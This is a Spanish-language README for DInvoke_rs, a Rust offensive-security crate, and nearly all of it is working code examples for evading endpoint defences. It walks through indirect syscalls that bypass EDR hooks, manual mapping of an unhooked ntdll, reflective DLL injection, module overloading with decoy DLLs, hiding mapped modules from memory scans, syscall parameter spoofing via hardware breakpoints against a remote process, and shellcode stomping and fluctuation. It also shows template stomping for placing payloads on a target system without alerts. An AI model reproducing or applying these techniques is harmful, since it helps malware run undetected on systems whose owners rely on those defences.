
Invoca dinámicamente código no administrado arbitrario
Port en Rust de Dinvoke. DInvoke_rs puede usarse para muchos propósitos, como el análisis de PE, la resolución dinámica de funciones exportadas, la carga dinámica de plugins PE en tiempo de ejecución, la evasión de hooks de API y más.
Características:
Todos los créditos van para los creadores de la implementación original en C# de esta herramienta:
Importa este crate en tu proyecto añadiendo la siguiente línea a tu cargo.toml:```rust
[dependencies]
dinvoke_rs = "0.2.2"
# Ejemplos
## Resolución de APIs exportadas
El siguiente ejemplo demuestra cómo usar DInvoke_rs para encontrar y llamar dinámicamente exportaciones de una DLL (`ntdll.dll` en este caso).
1) Obtenga la dirección base de ntdll.
2) Use `get_function_address()` para encontrar una exportación dentro de `ntdll.dll` por nombre. Esto se logra recorriendo y analizando el EAT de la DLL.
3) También puede encontrar una exportación por ordinal llamando a `get_function_address_by_ordinal()`.```rust
fn main() {
// Dynamically obtain ntdll.dll's base address.
let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");
if ntdll != 0
{
println!("ntdll.dll base address is 0x{:X}", ntdll);
// Dynamically obtain the address of a function by name.
let nt_create_thread = dinvoke_rs::dinvoke::get_function_address(ntdll, "NtCreateThread");
if nt_create_thread != 0
{
println!("NtCreateThread is at address 0x{:X}", nt_create_thread);
}
// Dynamically obtain the address of a function by ordinal.
let ordinal_8 = dinvoke_rs::dinvoke::get_function_address_by_ordinal(ntdll, 8);
if ordinal_8 != 0
{
println!("The function with ordinal 8 is located at addresss 0x{:X}", ordinal_8);
}
}
}
En el siguiente ejemplo, usamos DInvoke_rs para llamar dinámicamente a RtlAdjustPrivilege con el fin de habilitar SeDebugPrivilege para el token del proceso actual. Este tipo de ejecución omitirá cualquier hook de API presente en Win32. Además, no creará ninguna entrada en la Tabla de Direcciones de Importación del PE final, lo que dificulta la detección del comportamiento del PE sin ejecutarlo.```rust
fn main() {
// Dynamically obtain ntdll.dll's base address.
let ntdll = dinvoke_rs::dinvoke::get_module_base_address("ntdll.dll");
if ntdll != 0
{
unsafe
{
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which in Rust can be represented as an i32
let privilege: u32 = 20; // This value matches with SeDebugPrivilege
let enable: u8 = 1; // Enable the privilege
let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
let e = u8::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
let enabled: *mut u8 = std::mem::transmute(&e);
dinvoke_rs::dinvoke::dynamic_invoke!(ntdll,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) =>
if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }
else { println!("[x] NTSTATUS == {:X}", x as u32); },
None => panic!("[x] Error!"),
}
}
}
}
## Ejecutando syscall indirecto
En el siguiente ejemplo, usamos DInvoke_rs para ejecutar la syscall correspondiente a la función `NtQueryInformationProcess`. Dado que la macro `execute_syscall!()` asigna y ejecuta dinámicamente el shellcode necesario para realizar la syscall deseada, todos los hooks presentes en `ntdll.dll` son omitidos. La memoria asignada se libera una vez que la syscall retorna, evitando la presencia permanente de páginas de memoria con permiso de ejecución.```rust
use std::mem::size_of;
use windows::Win32::System::Threading::{GetCurrentProcess, PROCESS_BASIC_INFORMATION};
use dinvoke_rs::data::{NtQueryInformationProcess, PVOID};
fn main() {
unsafe
{
let function_type:NtQueryInformationProcess;
let ret: Option<i32>; //NtQueryInformationProcess returns a NTSTATUS, which is a i32.
let handle = GetCurrentProcess();
let p = PROCESS_BASIC_INFORMATION::default();
let process_information: PVOID = std::mem::transmute(&p);
let r = u32::default();
let return_length: *mut u32 = std::mem::transmute(&r);
dinvoke_rs::dinvoke::execute_syscall!(
"NtQueryInformationProcess",
function_type,
ret,
handle,
0,
process_information,
size_of::<PROCESS_BASIC_INFORMATION>() as u32,
return_length
);
let pbi: *mut PROCESS_BASIC_INFORMATION;
match ret {
Some(x) =>
if x == 0 {
pbi = std::mem::transmute(process_information);
let pbi = *pbi;
println!("The Process Environment Block base address is 0x{:X}", pbi.PebBaseAddress as u64);
},
None => println!("[x] Error executing direct syscall for NtQueryInformationProcess."),
}
}
}
En este ejemplo, se utiliza DInvoke_rs para mapear manualmente una copia nueva de ntdll.dll, sin ningún gancho de EDR. Luego, esa copia nueva de ntdll.dll puede utilizarse para ejecutar cualquier función deseada.
Este mapa manual también puede ejecutarse desde memoria (use manually_map_module() en ese caso), lo que permite realizar la clásica inyección reflectiva de DLL.```rust
use dinvoke_rs::data::PeMetadata;
fn main() {
unsafe
{
let ntdll: (PeMetadata, usize) = dinvoke_rs::manualmap::read_and_map_module(r"C:\Windows\System32\ntdll.dll", true, false).unwrap();
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
let privilege: u32 = 20; // This value matches with SeDebugPrivilege
let enable: u8 = 1; // Enable the privilege
let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
let e = u8::default();
let enabled: *mut u8 = std::mem::transmute(&e);
dinvoke_rs::dinvoke::dynamic_invoke!(ntdll.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) =>
if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }
else { println!("[x] NTSTATUS == {:X}", x as u32); },
None => panic!("[x] Error!"),
}
}
}
## Sección de sobrecarga de memoria
En el siguiente ejemplo, DInvoke_rs se utiliza para crear una sección de memoria respaldada por archivo, sobrecargándola después mediante el mapeo manual de un PE. La sección de memoria apuntará a un archivo legítimo ubicado en `%WINDIR%\System32\` de forma predeterminada, pero se puede utilizar cualquier otro módulo señuelo.
Esta sobrecarga también se puede ejecutar mapeando un PE desde memoria (como se muestra en el siguiente ejemplo), lo que permite realizar la sobrecarga sin escribir el payload en el disco.```rust
use dinvoke_rs::data::PeMetadata;
fn main() {
unsafe
{
let payload: Vec<u8> = your_download_function();
// This will map your payload into a legitimate file-backed memory section.
let overload: (PeMetadata, usize) = dinvoke_rs::overload::overload_module(&payload, "").unwrap();
// Then any exported function of the mapped PE can be dynamically called.
// Let's say we want to execute a function with header pub fn random_function(i32, i32) -> i32
let func_ptr: unsafe extern "Rust" fn (i32, i32) -> i32; // Function header
let ret: Option<i32>; // The value that the called function will return
let parameter1: i32 = 10;
let parameter2: i32 = 20;
dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"random_function",func_ptr,ret,parameter1,parameter2);
match ret {
Some(x) =>
println!("The function returned the value {}", x),
None => panic!("[x] Error!"),
}
}
}
DInvoke_rs permite ocultar PEs mapeados cuando no se están utilizando, lo que dificulta que la inspección de memoria de EDR detecte la presencia de un dll sospechoso en su proceso.
Por ejemplo, supongamos que queremos mapear una copia nueva de ntdll.dll para evadir los hooks de EDR. Dado que dos ntdll.dll en el mismo proceso podrían considerarse un comportamiento sospechoso, podemos mapear ntdll y ocultarlo cada vez que no lo estemos usando. Esto es muy similar a la técnica de fluctuación de shellcode, aunque en este escenario podemos aprovechar el hecho de que estamos mapeando un PE en una sección de memoria legítima respaldada por un archivo, de modo que podemos reemplazar el contenido de ntdll con el contenido del módulo señuelo original al que apunta la sección.```rust
use dinvoke_rs::dmanager::Manager;
fn main() {
unsafe
{
// The manager will take care of the hiding/remapping process and it can be used in multi-threading scenarios
let mut manager = Manager::new();
// This will map ntdll.dll into a memory section pointing to cdp.dll.
// It will return the payload (ntdll) content, the decoy module (cdp) content and the payload base address.
let overload: ((Vec<u8>, Vec<u8>), usize) = dinvoke_rs::overload::managed_read_and_overload(r"c:\windows\system32\ntdll.dll", r"c:\windows\system32\cdp.dll").unwrap();
// This will allow the manager to start taking care of the module fluctuation process over this mapped PE.
// Also, it will hide ntdll, replacing its content with the legitimate cdp.dll content.
let _r = manager.new_module(overload.1, overload.0.0, overload.0.1);
// Now, if we want to use our fresh ntdll copy, we just need to tell the manager to remap our payload into the memory section.
let _ = manager.map_module(overload.1);
// After ntdll has being remapped, we can dynamically call RtlAdjustPrivilege (or any other function) without worrying about EDR hooks.
let func_ptr: unsafe extern "system" fn (u32, u8, u8, *mut u8) -> i32; // Function header available at data::RtlAdjustPrivilege
let ret: Option<i32>; // RtlAdjustPrivilege returns an NSTATUS value, which is an i32
let privilege: u32 = 20; // This value matches with SeDebugPrivilege
let enable: u8 = 1; // Enable the privilege
let current_thread: u8 = 0; // Enable the privilege for the current process, not only for the current thread
let e = u8::default();
let enabled: *mut u8 = std::mem::transmute(&e);
dinvoke_rs::dinvoke::dynamic_invoke!(overload.1,"RtlAdjustPrivilege",func_ptr,ret,privilege,enable,current_thread,enabled);
match ret {
Some(x) =>
if x == 0 { println!("NTSTATUS == Success. Privilege enabled."); }
else { println!("[x] NTSTATUS == {:X}", x as u32); },
None => panic!("[x] Error!"),
}
// Since we dont want to use our ntdll copy for the moment, we hide it again. It can we remapped at any time.
let _ = manager.hide_module(overload.1);
}
}
## Spoofing de parámetros de syscall
Para hacer spoofing de los primeros 4 parámetros de una syscall, DInvoke_rs tiene soporte para breakpoints de hardware en combinación con manejadores de excepciones. Esto permite enviar parámetros no maliciosos a una función NT, y después de que el EDR los haya inspeccionado, estos son reemplazados por los parámetros originales antes de que se ejecute la instrucción syscall. Para más información, consulta el repositorio de donde proviene la idea original: [TamperingSyscalls](https://github.com/rad9800/TamperingSyscalls).
Por ahora, esta característica está implementada para las funciones `NtOpenProcess`, `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, `NtWriteVirtualMemory` y `NtCreateThreadEx`. Para usarla, solo es necesario activar la característica, establecer el manejador de excepciones y llamar a la función deseada a través de Dinvoke.```rust
use dinvoke_rs::data::{THREAD_ALL_ACCESS, ClientId};
use windows::{Win32::Foundation::HANDLE, Wdk::Foundation::OBJECT_ATTRIBUTES};
fn main() {
unsafe
{
// We active the use of hardware breakpoints to spoof syscall parameters
dinvoke_rs::dinvoke::use_hardware_breakpoints(true);
// We get the memory address of our function and set it as a VEH
let handler = dinvoke_rs::dinvoke::breakpoint_handler as usize;
dinvoke_rs::dinvoke::add_vectored_exception_handler(1, handler);
let h = HANDLE {0: -1 as _};
let handle: *mut HANDLE = std::mem::transmute(&h);
let access = THREAD_ALL_ACCESS;
let a = OBJECT_ATTRIBUTES::default(); // https://github.com/Kudaes/rust_tips_and_tricks/tree/main#transmute
let attributes: *mut OBJECT_ATTRIBUTES = std::mem::transmute(&a);
// We set the PID of the remote process
let remote_pid = 472isize;
let c = ClientId {unique_process: HANDLE {0: remote_pid as _}, unique_thread: HANDLE::default()};
let client_id: *mut ClientId = std::mem::transmute(&c);
// A call to NtOpenProcess is performed through Dinvoke. The parameters will be
// automatically spoofed by the function and restored to the original values
// before executing the syscall.
let ret = dinvoke_rs::dinvoke::nt_open_process(handle, access, attributes, client_id);
println!("NTSTATUS: {:x}", ret);
dinvoke_rs::dinvoke::use_hardware_breakpoints(false);
}
}
El crate overload de Dinvoke_rs ahora permite realizar module stomping llamando a la función managed_module_stomping(). El primer parámetro de esta función es el contenido del shellcode. Los otros dos parámetros modifican el comportamiento de la función, permitiendo tres rutas de ejecución diferentes comentadas a continuación.
En mi opinión, la mejor forma de usar esta función es cargando una dll legítima en el proceso y permitir que Dinvoke determine un buen lugar en esa dll para sobrescribir tu shellcode en ella. Esto se logra pasando la dirección base de la dll como tercer parámetro de managed_module_stomping(). El segundo argumento debe ser cero. Al hacer esto, Dinvoke iterará sobre los datos de Exception de la dll buscando una función legítima lo suficientemente grande como para sobrescribir el shellcode en ella.```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll);
match module {
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
Err(e) => println!("An error has occurred: {}", e),
}
También puedes especificar la ubicación exacta donde deseas que se sobrescriba el shellcode pasando la dirección de memoria como segundo parámetro:```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let my_big_enough_function = dinvoke_rs::dinvoke::get_function_address(my_dll, "somefunction");
let module = overload::managed_module_stomping(&payload_content, my_big_enough_function, 0);
match module {
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
Err(e) => println!("An error has occurred: {}", e),
}
Finalmente, puedes permitir que Dinvoke decida automáticamente la dirección donde se pisará el shellcode. Esto se hace iterando sobre los datos de Exception de todos los módulos cargados hasta encontrar una función adecuada. Esta opción puede provocar comportamientos inesperados, por lo que realmente no la recomiendo a menos que no tengas otra opción.```rust let payload_content = download_function(); let module = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, 0);
match module {
Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
Err(e) => println!("An error has occurred: {}", e),
}
Una vez que el shellcode ha sido stompado, puedes usar el crate `dmanager` para ocultarlo/volver a stompearlo, lo que permite realizar fluctuación de shellcode:```rust
let payload_content = download_function();
let my_dll = dinvoke_rs::dinvoke::load_library_a("somedll.dll");
let overload = dinvoke_rs::overload::managed_module_stomping(&payload_content, 0, my_dll).unwrap();
let mut manager = dinvoke_rs::dmanager::Manager::new();
let _r = manager.new_shellcode(overload.1, payload_content, overload.0).unwrap(); // The manager will take care of the fluctuation process
let _r = manager.hide_shellcode(overload.1).unwrap(); // We restore the memory's original content and hide our shellcode
...
let _r = manager.stomp_shellcode(overload.1).unwrap(); // When we need our shellcode's functionality, we restomp it to the same location so we can execute it
let run: unsafe extern "system" fn () = std::mem::transmute(overload.1);
run();
let _r = manager.hide_shellcode(overload.1).unwrap(); // We hide the shellcode again
Template stomping es una variante de la técnica de module stomping adaptada específicamente para DLLs. Por ahora, esta técnica solo permite cargar una DLL en el proceso actual; los procesos remotos no son compatibles.
El objetivo principal es crear una plantilla a partir de una DLL reemplazando el contenido de la sección .text con datos arbitrarios, lo que permite escribir la plantilla en disco sin generar alertas. Esta plantilla se elabora de forma que pueda cargarse en el proceso mediante la llamada a LoadLibrary. Después, el contenido original de la sección .text puede descargarse directamente en la memoria del proceso y sobrescribirse (stomping) en la región de memoria correspondiente de la plantilla. Esta técnica puede ejecutarse de forma efectiva usando dos funciones principales: generate_template y template_stomping.
La función generate_template está diseñada para crear la plantilla a partir de la DLL original extrayendo el contenido de la sección .text y reemplazándolo con datos arbitrarios. Esto garantiza que la plantilla mantenga su estructura pero no contenga código ejecutable significativo, aparte de los puntos de entrada y las devoluciones de llamada TLS, que se reemplazan con instrucciones de ensamblador ficticias pero funcionales. El contenido original de la sección .text se guarda por separado en payload.bin, y el archivo de plantilla final se guarda en template.dll.```rust
fn main ()
{
let template = dinvoke_rs::overload::generate_template(r"C:\Path\To\payload.dll", r"C:\Path\To\Output\Directory");
match template
{
Ok(()) => { println!("Template successfully generated.");}
Err(x) => { println!("Error ocurred: {x}");}
}
}
Entonces la plantilla puede guardarse en disco en el **sistema objetivo** y cargarse en el proceso actual mediante la llamada a `LoadLibrary`. Una vez que la plantilla ha sido cargada por el SO, el siguiente paso consiste en sobrescribir el contenido ejecutable original almacenado en `payload.bin` dentro de la sección `.text` de la plantilla. Este proceso lo lleva a cabo la función `template_stomping`, que sobrescribe el contenido ejecutable original en la región de memoria correcta, ocupándose de todos los detalles implicados en el proceso.```rust
fn main ()
{
unsafe
{
let mut payload = http_download_payload(); // Download payload.bin content directly to memory
let stomped_dll = dinvoke_rs::overload::template_stomping(r"C:\Path\To\template.dll", &mut payload).unwrap();
println!("Stomped DLL base address: 0x{:x}", stomped_dll.1);
let function_ptr = dinvoke_rs::dinvoke::get_function_address(stomped_dll.1, "SomeRandomFunction");
let function: extern "system" fn() = std::mem::transmute(function_ptr);
function();
}
}
Esta técnica permite cargar una DLL en regiones de memoria respaldadas en disco sin escribir el contenido ejecutable real en el sistema de archivos (eliminando la necesidad de regiones de memoria privadas y evadiendo el análisis estático/dinámico de los EDR) y también permite mantener una pila de llamadas limpia durante la ejecución del código de la DLL, a diferencia de lo que ocurre cuando cargamos una DLL de forma reflectiva.